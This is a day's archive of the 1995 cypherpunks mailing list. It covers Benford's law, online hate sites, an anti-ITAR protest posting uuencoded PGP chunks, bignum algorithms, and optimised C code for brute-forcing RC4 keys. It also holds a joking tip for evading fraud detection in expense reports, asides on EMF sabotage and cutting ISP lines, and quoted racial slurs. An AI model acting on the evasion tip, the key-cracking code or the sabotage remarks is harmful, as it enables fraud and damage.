From hardin at cyberspace.com  Tue Jul 11 11:16:17 1995
From: hardin at cyberspace.com (hardin at cyberspace.com)
Date: Tue, 11 Jul 95 11:16:17 PDT
Subject: Num Rat
Message-ID: <9507111813.AA0253@localhost>



John Young posted:

>    He's Got Their Number: Scholar Uses Math to Foil Financial
>    Fraud
> 
>    By Lee Berton
>    Mark Negrini, an assistant professor of accounting at St.
>    Mary's University in Halifax, is trapping tax cheats, check
>    forgers and embezzlers with an obscure theory known as
>    Benford's Law. Formulated by physicist Frank Benford in
>    1938, the law lays out the statistical frequency with which
>    the numbers 1 through 9 appear in any set of random
>    numbers.
> 
>    Mr. Negrini applies the law to the numbers on suspicious
>    checks or tax returns. A series of legitimate check amounts
>    or tax write-offs will be genuinely random, while those
>    dreamed up by a human will not. If the numbers on the
>    checks or tax returns do not obey Benford's Law, they can't
>    be random, and "someone is taking the company to the
>    cleaners," Mr. Negrini says.

I just looked @ the front of a M.O. computer catalog & the numerals in the
prices are anything but random. A very heavy concentration of eights (8) &
nines (9), apparently this company is more into $508.98 (color inkjet printer)
& $38.98 (well known game s/w) than the old late night TV standby of
"JUST $19.99!". Of course, this is because of excessively documented
ad nauseum human psychological tendencies that salescritters, who set at
least the lsd's of price, have been aware of for millenia. I'd bet, that
5(five), 8(eight), & 9(nine) are significantly more represented across
the board in prices (& thus in amounts for checks & tax write offs) than
than their random distribution by Benford's Law or more well known tests
for randomness would suggest. Has Mr. Negrini factored this into his program?
I guess the lesson is do a few pgp make__random's & convert a few of the
hex numbers to dec digits for the lsd's the next time one does creative expense
reporting.

tjh





From dmandl at bear.com  Tue Jul 11 11:29:11 1995
From: dmandl at bear.com (David Mandl)
Date: Tue, 11 Jul 95 11:29:11 PDT
Subject: FW: Edupage 7/9/95 (fwd)
Message-ID: <199507111828.AA08553@bear-gate.bear.com>


"Perry E. Metzger" <perry at imsi.com> said:
 
> Mark Contois writes:
> > Would that this were so.  There seems to be a burgeoning number of web
> > sites spouting neo- (and not-so-neo-) Nazi disinfo.  Check out
> > 
> > 	http://204.181.176.4/stormfront/
> > 
> > and some of the links provided therein.
> 
> 204.181.176.4 is "stormfront.wat.com".
> 
> I suspect that something is amiss (i.e. faked) about the following,
> but wat.com shows up as

[etc.]

That may be (I wouldn't be surprised if they registered their
site with an innocent-sounding name to avoid trouble), but I
know that those guys are definitely on the net.  I've got
their URL at home and I take a look at their stuff now and
then, just to keep abreast of what those half-wits are up to.
There are at least a few bona fide Nazi/White Power sites out
there.

   --Dave.
--
*******************************************************************************
Bear Stearns is not responsible for any recommendation, solicitation, offer or 
agreement or any information about any transaction, customer account or account 
activity contained in this communication.
*******************************************************************************





From loki at nately.UCSD.EDU  Tue Jul 11 11:40:01 1995
From: loki at nately.UCSD.EDU (Lance Cottrell)
Date: Tue, 11 Jul 95 11:40:01 PDT
Subject: Obscura down for a few days.
Message-ID: <9507111839.AA12751@nately.UCSD.EDU>


-----BEGIN PGP SIGNED MESSAGE-----

Obscura is suffering from HD troubles. The backups have failed so I am going to have to
rebuild it from scratch. This means that the web page and remailer will be down.
All mail to the remailers will be lost. I have changed the name server so
I will still get mail sent to loki at obscura.com.

	-Lance


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMALFV1Vkk3dax7hlAQHPvAP6A7IWAczKJ3eimrWUgh0F5DMEr7oSpAXg
lJJCC2VV4g9lIDD8C2wob1L6sEZwlDnUt6dMpbKBiT3aksSmBqnvMpe/BlaTd2zk
ZRGCYHUZkx3aOSp9iZevRhjI0HEdm+g2+PwjJcMyPn5EUmz5vnPI9exOt9VGyJV1
eSCCC3Ngz9k=
=ahD6
-----END PGP SIGNATURE-----





From mjg51721 at uxa.cso.uiuc.edu  Tue Jul 11 11:46:09 1995
From: mjg51721 at uxa.cso.uiuc.edu (Michael James Gebis)
Date: Tue, 11 Jul 95 11:46:09 PDT
Subject: A more sophisticated form of moderation.
Message-ID: <199507111845.AA16926@uxa.cso.uiuc.edu>


With all the recent traffic about if moderation is the future of the net,
it seems like an appropriate idea to get some brainstorming on some
better forms of moderation.

Specifically, I was thinking along the lines of a newsgroup where only
selected individuals are able to post, but anybody who wants to can read
the group.  However, the "selected individuals" could fall into several
categories.

You could have one or very few "selected individuals" and the newsgroup
would work almost exactly like the current moderated groups.

You could have many "selected individuals" who may have been selected by
proving that they read a FAQ or some other minimal criteria, which could
theoretically cut down on newbie fever.

You could have several dozen "selected individuals" who are selected by
some means (a committee?  a vote?  a "trusted individual who selects
more individuals") and have an unrestricted talk between these
individuals.  This way, you have a newsgroup where these experts can
discuss topics in an unrestricted way.  I'm thinking along the lines of
the "boards" in _Ender's Game_, where a newsgroup is somewhat similar to
a newspaper.  Once the reporters get hired, they have a lot of freedom
on what they can report about.  

There are a lot of details to be worked out, including:
1) Can such a system work?  Are there protocols which can guarantee
authentication on a large distributed system like news?  I'm assuming
that there would have to be some sort of cryptographic authentication to
prevent wide-scale abuse.

2) Is such a system desirable?  Is the current "anybody can post
anywhere if they know how" system better?  Which one promotes cypherpunk
goals more?  Can I anonymously prove that I am a "selected individual"?

Remember, I'm considering this a brainstorming session, so I'd like to
hear any comments you may have.

-- 
Mike Gebis  m-gebis at uiuc.edu    Mean people suck.
http://www.uiuc.edu/ph/www/m-gebis/




From jim at acm.org  Tue Jul 11 11:52:02 1995
From: jim at acm.org (Jim Gillogly)
Date: Tue, 11 Jul 95 11:52:02 PDT
Subject: Moby ints [Re: Num Rat]
In-Reply-To: <199507111749.KAA03281@ionia.engr.sgi.com>
Message-ID: <199507111851.LAA18222@mycroft.rand.org>



> pjm at ionia.engr.sgi.com (Patrick May) writes:
> This invocation of the name of the diety reminds me of a question
> I've been meaning to ask.  Is Knuth still a good source of algorithms
> for implementing large integers or do more recent books exist that
> contain superior methods?

While Knuth is now and forever the algorithm deity in general, Arjen
Lenstra is as close to godhood as one can get in moby ints these days.

I'd look at the Lip package Lenstra wrote; it's used in his state of the
art factoring programs.  It's available with masses of PostScript
documentation from ftp.ox.ac.uk.  Studying the code and docs might remind
you of some issues that aren't obvious... and, of course, you might decide
you don't need to write a moby int package, but could just use his library.

	Jim Gillogly
	Hevensday, 18 Afterlithe S.R. 1995, 18:48





From lws+ at transarc.com  Tue Jul 11 12:06:57 1995
From: lws+ at transarc.com (Lyle Seaman)
Date: Tue, 11 Jul 95 12:06:57 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <9507111658.AA06104@elysion.iaks.ira.uka.de>
Message-ID: <wk0gTfuSMUw801MqNL@transarc.com>


danisch at ira.uka.de (Hadmut Danisch) writes:
> There are certain nazi pages in America. They were showing them in
> a german tv magazine some time ago, but they didn't tell the URLs.
> The URL field in the Mosaic window was painted over.

Oh dear.  There are certain smut pages in Germany.  They were showing
them on TV recently, but I couldn't quite catch the URL.  I can see it
now -- the US government censors the net to keep out the Germans (but
the tourists can still come -- hey, at an average of $80K/year annual
income, they're welcome to go shopping in New York, though if they
want to change clothes on the beach they have to do *that* in
California, Florida is right out, eh Lawton?) and the Germans censor
the net to keep out the Americans.   Oh dear. 

--
Lyle		Transarc		707 Grant Street
412 338 4474	The Gulf Tower		Pittsburgh 15219






From zinc at zifi.genetics.utah.edu  Tue Jul 11 12:22:22 1995
From: zinc at zifi.genetics.utah.edu (zinc)
Date: Tue, 11 Jul 95 12:22:22 PDT
Subject: Num Rat
In-Reply-To: <9507111813.AA0253@localhost>
Message-ID: <Pine.LNX.3.91.950711131925.3058D-100000@zifi.genetics.utah.edu>


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 11 Jul 1995 hardin at cyberspace.com wrote:

> John Young posted:
> 
> >    He's Got Their Number: Scholar Uses Math to Foil Financial
> >    Fraud
> > 
> prices are anything but random. A very heavy concentration of eights (8) &
> nines (9), apparently this company is more into $508.98 (color inkjet printer)
> & $38.98 (well known game s/w) than the old late night TV standby of
> "JUST $19.99!". Of course, this is because of excessively documented
> ad nauseum human psychological tendencies that salescritters, who set at
> least the lsd's of price, have been aware of for millenia. I'd bet, that
> 5(five), 8(eight), & 9(nine) are significantly more represented across
> the board in prices (& thus in amounts for checks & tax write offs) than
> than their random distribution by Benford's Law or more well known tests
> for randomness would suggest. Has Mr. Negrini factored this into his program?
> I guess the lesson is do a few pgp make__random's & convert a few of the
> hex numbers to dec digits for the lsd's the next time one does creative expense
> reporting.

check amounts will also include any relevant sales tax thus skewing the 
distribution in some fashion.


patrick finerty = zinc at zifi.genetics.utah.edu = pfinerty at nyx.cs.du.edu
U of Utah biochem grad student in the Bass lab - zinc fingers + dsRNA!
** FINGER ME for my pgp public key ** CRYPTO FOR THE MASSES!
zifi is a 486 DX4-100 running LINUX 1.2.10, send me all of your RAM now!


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMALPYk3Qo/lG0AH5AQE5PAP/fKnoVXL4SiCR5yv0NK0lUcdxW30q3NOL
ZSg+CnDWdW4QEbTGe6yi8mxcAQRQuxXwikL1qtfFrYgxhEN2nTiD2TrAuzRUbBOJ
c5X5ieC2drPUpITRUI6NvQA9H7IO7FRzQXH46RLosYpN4zy6EfzskbTZM/Zbj3cU
Wg7XHHFZcUo=
=+upl
-----END PGP SIGNATURE-----





From erc at khijol.intele.net  Tue Jul 11 12:50:48 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Tue, 11 Jul 95 12:50:48 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <m0sVh4K-000BSsC@dorite1.iquest.net>
Message-ID: <Pine.3.89.9507111300.B32568-0100000@khijol>


On Tue, 11 Jul 1995, Al Thompson wrote:

> At 10:44 AM 7/11/95 -0400, Perry E. Metzger wrote:
> >
> >Brad Dolan writes:
> >> REGULATING THE INTERNET
> >> Shortly after the Communications Decency Act came before the U.S. Senate.,
> >> Canada's Parliament passed a resolution unanimously committing legislators
> >> to get tough with on-line hate-mongering.  The Simon Weisenthal Centre in
> >> Toronto sent a strongly worded report to federal regulator the CRTC calling
> >> for strict regulation of the Internet.  (Montreal Gazette 7/7/95 B3)
> >
> >I'm happy to see Nazism fought with fascism.
> >
> >.pm
>   
> You mean alleged nazism fought with obvious facism.
>  
> I've never seen any actual nazism on the net anywhere, but this "strict 
> regulation" tactic is obviously fascist in nature.
>  
> In fact, the only religious-based hate speech I've ever seen on the net is from
> someone named "windgate" or something who hates Christians and Christianity,
> and 
> is more than happy to write about his hatred.  He hangs out in some of the 
> 'alt.politics' groups.

You oughta go out and borrow someone's shortwave radio or ham HF radio. 
Between 3900 and 3900 KHz every evening, a bunch of guys in the south
(Texas, New Mexico, Arkansas, Louisiana) get on the air and talk about the
"goddamn niggers, jews, and fags that are ruining this country."  All
kinds of folks (meaning non-WASPs, of course) are targeted for this kind
of spew.  Words like "motherfucker" are often used, especially against
"niggers".  The speakers rail against "white women with goddamn niggers",
and any other non-WASP who happens to arouse their ire. 

Quite entertaining if you enjoy that sort of thing.  Stomach-turning if
you don't.  Call signs, times and frequencies heard upon request. 

This sort of thing has been going on for years.  A few years back, the FCC
attempted to go after a couple of idiots on one of the local LA area 2m
repeaters who were spewing all kinds of filth out onto the air waves.  The
district court said, naaah, that's free speech. 

So, if the idiots in Congress want to go after this sort of thing, they
oughts go after the few hams that are ruining the hobby for the rest of
us. 
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From aba at dcs.exeter.ac.uk  Tue Jul 11 13:10:28 1995
From: aba at dcs.exeter.ac.uk (aba at dcs.exeter.ac.uk)
Date: Tue, 11 Jul 95 13:10:28 PDT
Subject: Down with ITAR - Have YOU exported PGP today? (fwd)
Message-ID: <12883.9507112010@exe.dcs.exeter.ac.uk>



This is a forward of something I just cross-posted to alt.security.pgp,
and talk.politics.crypto.  Civil disobedience via illegal .sigs.

Adam

======================================================================
From: aba at dcs.ex.ac.uk
Newsgroups: alt.security.pgp,talk.politics.crypto
Date: Tue, 11 Jul 95 21:03:53 +0100
Subject: Down with ITAR - Have YOU exported PGP today?
Distribution: world


You all know about the ridiculous US regulation called ITAR and how it
applies to crypto software in the US, well here's a fun and relatively
safe (YMMV) way for you to export PGP in protest.

It is just a token effort, and of 0 practical significance, but the
idea is that you just post 3 lines of the uuencoded zipped DOS PGP
executable in place of your usual sig in protest.  If they lock you up
for 3 uuencoded lines which came off a European ftp site and European
web page, then well they are stupid.  More to the point it would make
them (the US state department and the NSA) look stupid.

Take a look at this web page:

	http://dcs.ex.ac.uk/~aba/export/

it will dole out uuencoded parts of PGP.EXE (the DOS binary for
pgp2.6.2i, the international version of PGP, as is available from
myriads of non-US ftp sites).

See my sig for a sample, the first in a long stream hopefully,

And remember, say NO to key escrow :-)

Adam
--
------------------ PGP.ZIP Part [000/713] -------------------
begin 644 pgp.zip
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/






From adam at bwh.harvard.edu  Tue Jul 11 13:26:13 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Tue, 11 Jul 95 13:26:13 PDT
Subject: Down with ITAR - Have YOU exported PGP today? (fwd)
In-Reply-To: <12883.9507112010@exe.dcs.exeter.ac.uk>
Message-ID: <199507112023.QAA19240@bwnmr5.bwh.harvard.edu>



| This is a forward of something I just cross-posted to alt.security.pgp,
| and talk.politics.crypto.  Civil disobedience via illegal .sigs.

	Just to pick a nit, the sig is not illegal.  The ITAR prior
restraints on free speech are.

Adam

(Proud owner of part 001. Get yours today!)

-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf


------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From alt at iquest.net  Tue Jul 11 13:30:59 1995
From: alt at iquest.net (Al Thompson)
Date: Tue, 11 Jul 95 13:30:59 PDT
Subject: FW: Edupage 7/9/95 (fwd)
Message-ID: <m0sVlwb-000BVbC@dorite1.iquest.net>


At 01:45 PM 7/11/95 +0100, Ed Carp [khijol Sysadmin] wrote:

>You oughta go out and borrow someone's shortwave radio or ham HF radio. 
>Between 3900 and 3900 KHz every evening, a bunch of guys in the south
>(Texas, New Mexico, Arkansas, Louisiana) get on the air and talk about the
>"goddamn niggers, jews, and fags that are ruining this country."  All
>kinds of folks (meaning non-WASPs, of course) are targeted for this kind
>of spew.  Words like "motherfucker" are often used, especially against
>"niggers".  The speakers rail against "white women with goddamn niggers",
>and any other non-WASP who happens to arouse their ire. 
>
>Quite entertaining if you enjoy that sort of thing.  Stomach-turning if
>you don't.  Call signs, times and frequencies heard upon request. 
  
I don't enjoy it, and don't particularly care to hear it - HOWEVER, I don't
see that they are harming anyone (I don't count "hurt feelings as "harm), 
any more than Malcolm X did when he called all white people "the devil," 
or when the militant Muslims do when they call all non-Muslims "heathens" 
or "the infidel" who should be killed.  (or any more than wingate does 
when he says all non-Jews should be done away with).  They are simply 
trying to "sell" their views by exposing their views.  
 
If they want to think that, and if they want to say that, then that is their 
business.  I'm free to listen, or to avoid listening.  I can avoid their 
newsgroups, or turn off my radio.  That doesn't mean I have to like them, or
be nice to them - I am just as free to ridicule their views, and I won't care 
if I hurt their feelings.
 
If this sort of speech is regulated however, I will no longer have that 
choice.  


If I ask the government to prevent them from speaking their views,
them only *I* am free to speak mine, so who is the victim?
  






From hardin at cyberspace.com  Tue Jul 11 14:40:03 1995
From: hardin at cyberspace.com (hardin at cyberspace.com)
Date: Tue, 11 Jul 95 14:40:03 PDT
Subject: Num Rat
Message-ID: <9507112126.AA0326@localhost>





//--- forwarded letter -------------------------------------------------------
> MIME-Version: 1.0
> Date: Tue, 11 Jul 95 13:22:33 -0600
> From: "zinc" <zinc at zifi.genetics.utah.edu>
> To: hardin at cyberspace.com
> Cc: cypherpunks at toad.com
> Subject: Re: Num Rat

Pat Finerty <zinc at zifi.genetics.utah.edu> wrote:
 
> On Tue, 11 Jul 1995 hardin at cyberspace.com wrote:
> 
> > John Young posted:
> > 
> > >    He's Got Their Number: Scholar Uses Math to Foil Financial
> > >    Fraud
> > > 
[snip]
> > I'd bet, that
> > 5(five), 8(eight), & 9(nine) are significantly more represented across
> > the board in prices (& thus in amounts for checks & tax write offs) than
> > than their random distribution by Benford's Law or more well known tests
> > for randomness would suggest.
[snip]
> 
> check amounts will also include any relevant sales tax thus skewing the 
> distribution in some fashion.
> 
> 
> patrick finerty = zinc at zifi.genetics.utah.edu = pfinerty at nyx.cs.du.edu
> U of Utah biochem grad student in the Bass lab - zinc fingers + dsRNA!
[snip]

Yes, and some vendors will be in state (sales tax) & some out of state (no
sales tax). Furthermore, if the vendor is in state but in a different locale,
there will probably be some difference in sales tax rates as rates within
states are usually based on vendor location. Also some types of purchases
for some types of businesses/organizations/entities have various sales tax
exemptions or surcharges, again all of which varies by state & locality.
ALL of these factors will skew the distribution, eg. sales tax is usualy
*.00% or *.25%, *.50%, *.75% etc. so a cursory look shows that 0 & 5 will
be over represented due to this factor.

tjh





From hardin at cyberspace.com  Tue Jul 11 15:14:24 1995
From: hardin at cyberspace.com (hardin at cyberspace.com)
Date: Tue, 11 Jul 95 15:14:24 PDT
Subject: PGP Anti- ITAR sig
Message-ID: <9507112213.AA0351@PPP53-139.cyberspace.com>


Great Idea, Adam!

I am #5, who is #6 ;-)

tjh "T. J. Hardin" <hardin at cyberspace.com>

This is 1/713 of PGP262i DOS Executable Zipfile UUE'd
Violate the Un-Constitutional ITAR Today!
Get YOUR chunk @ web site below.

------------------ PGP.ZIP Part [005/713] -------------------
M at UIXP9EW\".^Q0XL1SO8"^*_O:U-=H(P&2,1A6YHB?KP@@H2/)$+P at -<PX_(
MPTGLPBHDHSW<(,<O,D$XB'2TA`HQ4D'H at R#<)[Z3*D$P80%N*8D1:Q6"T`\J
M/*/<G_$-/L9&%#L)P at HD82`ZHPG4$%#L*`A7D8M#F(/>"($GRAT$8246(Q:3
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From sebaygo at intellinet.com  Tue Jul 11 15:19:33 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Tue, 11 Jul 95 15:19:33 PDT
Subject: Stormfront (was Re: FW: Edupage 7/9/95 (fwd))
In-Reply-To: <9507111744.AA09457@snark.imsi.com>
Message-ID: <Pine.3.89.9507111731.B24086-0100000@sibyl.intellinet.com>



On Tue, 11 Jul 1995, Perry E. Metzger wrote:

> Mark Contois writes:
>  
> > 	http://204.181.176.4/stormfront/
> > 
> > and some of the links provided therein.
> 
> 204.181.176.4 is "stormfront.wat.com".
> 
> I suspect that something is amiss (i.e. faked) about the following,
> but wat.com shows up as
> 
> Wongs Advanced Technologies (WAT-DOM)
>    3221 Danny Pk
>    Metairie, LA 70002
> 
>    Domain Name: WAT.COM

<snip>

I've seen the URL for the Stormfront White Nationalist Resource
Page listed at least three different ways.  I've never tried to
visit the site, but here are the three variations with the most
recent one I've seen listed last.

     http://www.accesscom.net/stormfront/


     http://www.stormfront.wat.com/stormfront/
          or
     http://stormfront.wat.com/stormfront/
          (my notes are kind of scrambled)


     htttp://www.stormfront.org/stormfront/


AR

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
"They that can give up essential liberty to  :
purchase a little temporary safety, deserve  :         Allen Robinson
neither liberty nor safety."                 : sebaygo at intellinet.com
 - Benjamin Franklin, 1759                   :
PGP public key AD022AA9 fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A
available via major keyservers
             





From rfreeman at netaxs.com  Tue Jul 11 16:12:14 1995
From: rfreeman at netaxs.com (Richard Freeman)
Date: Tue, 11 Jul 95 16:12:14 PDT
Subject: Don't trust the net too much
Message-ID: <199507112312.TAA19079@access.netaxs.com>


Adam Shostack <adam at bwh.harvard.edu> wrote:

>	I hate to join any thread which talks about blowing up rooms
>and killing security guards, but I'll point out that for a few
>hundered dollars worth of transmitter parts, you can cause transient
>failures with EMF pulse weapons, and for a bit more, you can fry all
>the electronics, then drive away before they have any idea that their
>company has been destroyed.
>
>	Killing people is a stupid way to accomplish things.

I would have to agree, and since this whole thread seems to be one of those 
conspiracy things, it is completely unnecessary to cause much at all in the 
way of physical damage.  No matter who rents the T1 lines and other forms of 
communication that unite an ISP with the rest of the world, sooner or later 
they have to enter some sort of communications node.  This could be a 
satellite or some huge telephone routing center, or any number of things.  
If the government wanted you shut down, all they have to do is find one of 
these things for each redundant line to an ISP and cut them all 
simultaneously.  I am sure a court order could be obtained very quickly to 
arrange such a thing, and even this may not be necessary.  I read in some 
magazine about ten years ago that all US-launched communications satellites 
contain software that allows the government to ascertain direct control over 
their functioning.  The purpose stated was that in the event of war the US 
is highly dependent on commercial satellites for non-military communications 
and can not afford to have the Soviets (or whatever foreign power) trying to 
reprogram our satellites utilizing security loopholes on the part of the 
owning company.  In any case, unless the ISP is actually expecting some 
terrorist group to attack their center and has taken deliberate steps to 
protect themselves (an absurdly expensive proposition for just about anyone 
except the military), I doubt there is much that could prevent even a 
private citizen from taking them out, let alone a well-organized group.
-----------------------------------------------------------------
Richard T. Freeman <rfreeman at netaxs.com> - finger for pgp key
3D CB AF BD FF E8 0B 10 4E 09 27 00 8D 27 E1 93 
http://www.netaxs.com/~rfreeman - ftp.netaxs.com/people/rfreeman






From rjc at clark.net  Tue Jul 11 16:32:29 1995
From: rjc at clark.net (Ray Cromwell)
Date: Tue, 11 Jul 95 16:32:29 PDT
Subject: Moby ints [Re: Num Rat]
In-Reply-To: <199507111851.LAA18222@mycroft.rand.org>
Message-ID: <199507112331.TAA12573@clark.net>



The state of the art in multiprecision integer arithmetic is Scho"nhage.
Schonhage invented the all-integer Fast-Fourier-Transform based 
big-int multiplication method. An n-bit can be multiplied in O(n ln n) 
operations. This is a big improvement over the Karatsuba method which is
O(n^1.5) and the classical method O(n^2). Surprisingly, the constant
factor isn't that large. This can be combined with modmult techniques
for fast modexp routines. However, it's only worthwhile for large
numbers (>512 bits). At n=512, if your bigints are stored as polynomials
with a 32-bit radix, then N=512/32=16. 16^1.5 = 64, 16 * lg(16) = 64
(so the FFT method and the Karatsuba method are equivalent for numbers
of that size)

If you are dealing with 2048 or 4096 bit keys, it starts to look attractive.


Schonhage published a book in the last year, the result of more than 10 
years of research into this area. It's hard to get a hold of though, you
have to order it from germany.

95-133299: Schonhage, Arnold.  Fast algorithms : a multitape Turing
     machine implementation /  Mannheim : B.I. Wissenschaftsverlag, 
     c1994.  x,
     297 p. : ill. ; 25 cm.

 





From nobody at valhalla.phoenix.net  Tue Jul 11 17:35:20 1995
From: nobody at valhalla.phoenix.net (Anonymous)
Date: Tue, 11 Jul 95 17:35:20 PDT
Subject: proxy down?
Message-ID: <199507120035.TAA28618@ valhalla.phoenix.net>



Recent attempts to use the AOL proxy service have failed (it
used to work perfectly). Anybody else notice this?

Is anybody running a proxy2proxy setup?






From pgf at tyrell.net  Tue Jul 11 17:41:22 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Tue, 11 Jul 95 17:41:22 PDT
Subject: My Experience with Moderated Lists and Groups
In-Reply-To: <ac272c6d0d02100462fc@[205.199.118.202]>
Message-ID: <199507120037.AA29650@tyrell.net>


(Forgive me if you've seen this twice... I got disconnected
the first time).

   From: tcmay at sensemedia.net (Timothy C. May)
   Sender: owner-cypherpunks at toad.com
   Precedence: bulk


   I've been on several moderated mailing lists. There are those who moderate
   very lightly, moderately, and heavily.

I guess the first uses regular water as the moderator, and the latter
some sort of deuterated water. My nuclear physics is a little rusty,
though, so I have to ask: does the "moderately" moderated system use
liquid sodium?

Phil





From dave at esi.COM.AU  Tue Jul 11 18:41:40 1995
From: dave at esi.COM.AU (Dave Horsfall)
Date: Tue, 11 Jul 95 18:41:40 PDT
Subject: My Experience with Moderated Lists and Groups
In-Reply-To: <199507111647.JAA01880@ix6.ix.netcom.com>
Message-ID: <Pine.SUN.3.91.950712114054.17852M-100000@eram.esi.com.au>


On Tue, 11 Jul 1995, Bill Stewart wrote:

> Remember when the alt.network got started?  One of the first two groups
> that led to its founding was alt.sources [...]
> The other was one of the recipes newsgroups, where there was a bit more
> controversy.

I thought one of them was alt.drugs?

-- 
Dave Horsfall (VK2KFU) | dave at esi.com.au | VK2KFU @ VK2AAB.NSW.AUS.OC | PGP 2.6
Opinions expressed are mine. | E7 FE 97 88 E5 02 3C AE  9C 8C 54 5B 9A D4 A0 CD






From jamesd at echeque.com  Tue Jul 11 18:42:01 1995
From: jamesd at echeque.com (James A. Donald)
Date: Tue, 11 Jul 95 18:42:01 PDT
Subject: Moby ints [Re: Num Rat]
Message-ID: <199507120139.SAA07236@shell1.best.com>


At 07:31 PM 7/11/95 -0400, Ray Cromwell wrote:
> However, it's only worthwhile for large
> numbers (>512 bits). At n=512, if your bigints are stored as polynomials
> with a 32-bit radix, then N=512/32=16. 16^1.5 = 64, 16 * lg(16) = 64
> (so the FFT method and the Karatsuba method are equivalent for numbers
> of that size)

I conjecture that the constant factor is rather smaller for the 
Karatsuba method, so the turnover should be somewhat higher than
512 bits.

Does anyone have any real experimental data on this question.

I assume Schonage has real experimental data?
--
  ------------------------------------------------------------------
We have the right to defend ourselves	|  http://www.jim.com/jamesd/
and our property, because of the kind	|
of animals that we are. True law	|  James A. Donald
derives from this right, not from the	|
arbitrary power of the omnipotent state.|  jamesd at echeque.com






From tn0s+ at andrew.cmu.edu  Tue Jul 11 18:48:06 1995
From: tn0s+ at andrew.cmu.edu (Timothy L. Nali)
Date: Tue, 11 Jul 95 18:48:06 PDT
Subject: Speedup of bruterc4.c
In-Reply-To: <9507111715.AA20916@netmail2.microsoft.com>
Message-ID: <4k0ma8K00iWS06o=cO@andrew.cmu.edu>


For linux boxes (or perhaps 486 and pentium machines in general), try
adding the flag -funroll-all-loops to the compile line.

    gcc -O2 -funroll-all-loops -m486 -o brute bruterc4.c


Here are my results on a Linux 486/33
Original code (Adam+Tatu)                               : 5405 keys/sec

Original code with -funroll-all-loops                   : 5991 keys/sec

Original code with Russell's changes                
and a couple of my own and -funroll-all-loops           : 6393 keys/sec



Here are the changes I made:

If we assume that the length of the cyphertext and known text is less
than 256 bytes, then the following works.  This gives you a whopping 40
additional keys/sec.

---------------------------------------------------------------------------
int rc4_eq(unsigned char *buffer_ptr, 
           unsigned char *known, 
           unsigned char *cypher_txt,
           int buffer_len, rc4_key *key)
{
  unsigned int t;
  unsigned int y = 0;
  unsigned char* state;
  unsigned int xorIndex;
  unsigned int counter;

  
  state = &key->state[0];

  for(counter=0;counter < buffer_len;counter++)
  {
    y = (state[counter+1] + y) & 0xFF;
    swap_byte(state[counter+1], state[y]);
    xorIndex = (state[counter+1] + state[y]) & 0xFF;
    buffer_ptr[counter] ^= state[xorIndex];
    if (known[counter] != buffer_ptr[counter])
    {
      memcpy(buffer_ptr,cypher_txt,counter+1);
      return 0;
    }
  }
  return 1;
}
--------------------------------------------------------------------------

Also, I could not get Russell's changes to work exactly as he posted
them (I suspect it's because I'm using a very old linux system).  Here's
my prepare_key function. I basically took out the counter++ parts.

--------------------------------------------------------------------------
/* excellent optimised prepare key by Tatu Ylonen ylo at cs.hut.fi */

void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key)
{
  unsigned int t;
  unsigned int index2;
  unsigned char* state;
  unsigned int counter;
  unsigned int k0, k1, k2, k3, k4;

  state = &key->state[0];
  memcpy(state,sequence,256);

  index2 = 0;
  k0 = key_data_ptr[0];
  k1 = key_data_ptr[1];
  k2 = key_data_ptr[2];
  k3 = key_data_ptr[3];
  k4 = key_data_ptr[4];
  for(counter = 0; counter < 255; counter+=5)
  {
    t = state[counter];
    index2 = (index2 + k0 + t) & 0xff;
    state[counter] = state[index2];
    state[index2] = t;


    t = state[counter + 1];
    index2 = (index2 + k1 + t) & 0xff;
    state[counter + 1] = state[index2];
    state[index2] = t;

    t = state[counter + 2];
    index2 = (index2 + k2 + t) & 0xff;
    state[counter + 2]  = state[index2];
    state[index2] = t;


    t = state[counter + 3];
    index2 = (index2 + k3 + t) & 0xff;
    state[counter + 3] = state[index2];
    state[index2] = t;


    t = state[counter + 4];
    index2 = (index2 + k4 + t) & 0xff;
    state[counter + 4]  = state[index2];
    state[index2] = t;

  }
  t = state[255];
  index2 = (index2 + k0 + t) & 0xff;
  state[255] = state[index2];
  state[index2] = t;

}
------------------------------------------------------------------------

_____________________________________________________________________________
 
 Tim Nali            \  "We are the music makers, and we are the dreamers of
 tn0s at andrew.cmu.edu  \   the dreams" -Willy Wonka and the Chocolate Factory







From alt at iquest.net  Tue Jul 11 20:02:51 1995
From: alt at iquest.net (Al Thompson)
Date: Tue, 11 Jul 95 20:02:51 PDT
Subject: RACIST MILITIA: ATF
Message-ID: <m0sVs4F-000BYfC@dorite1.iquest.net>



>> From owner-roc at xmission.com Tue Jul 11 11:10:37 1995
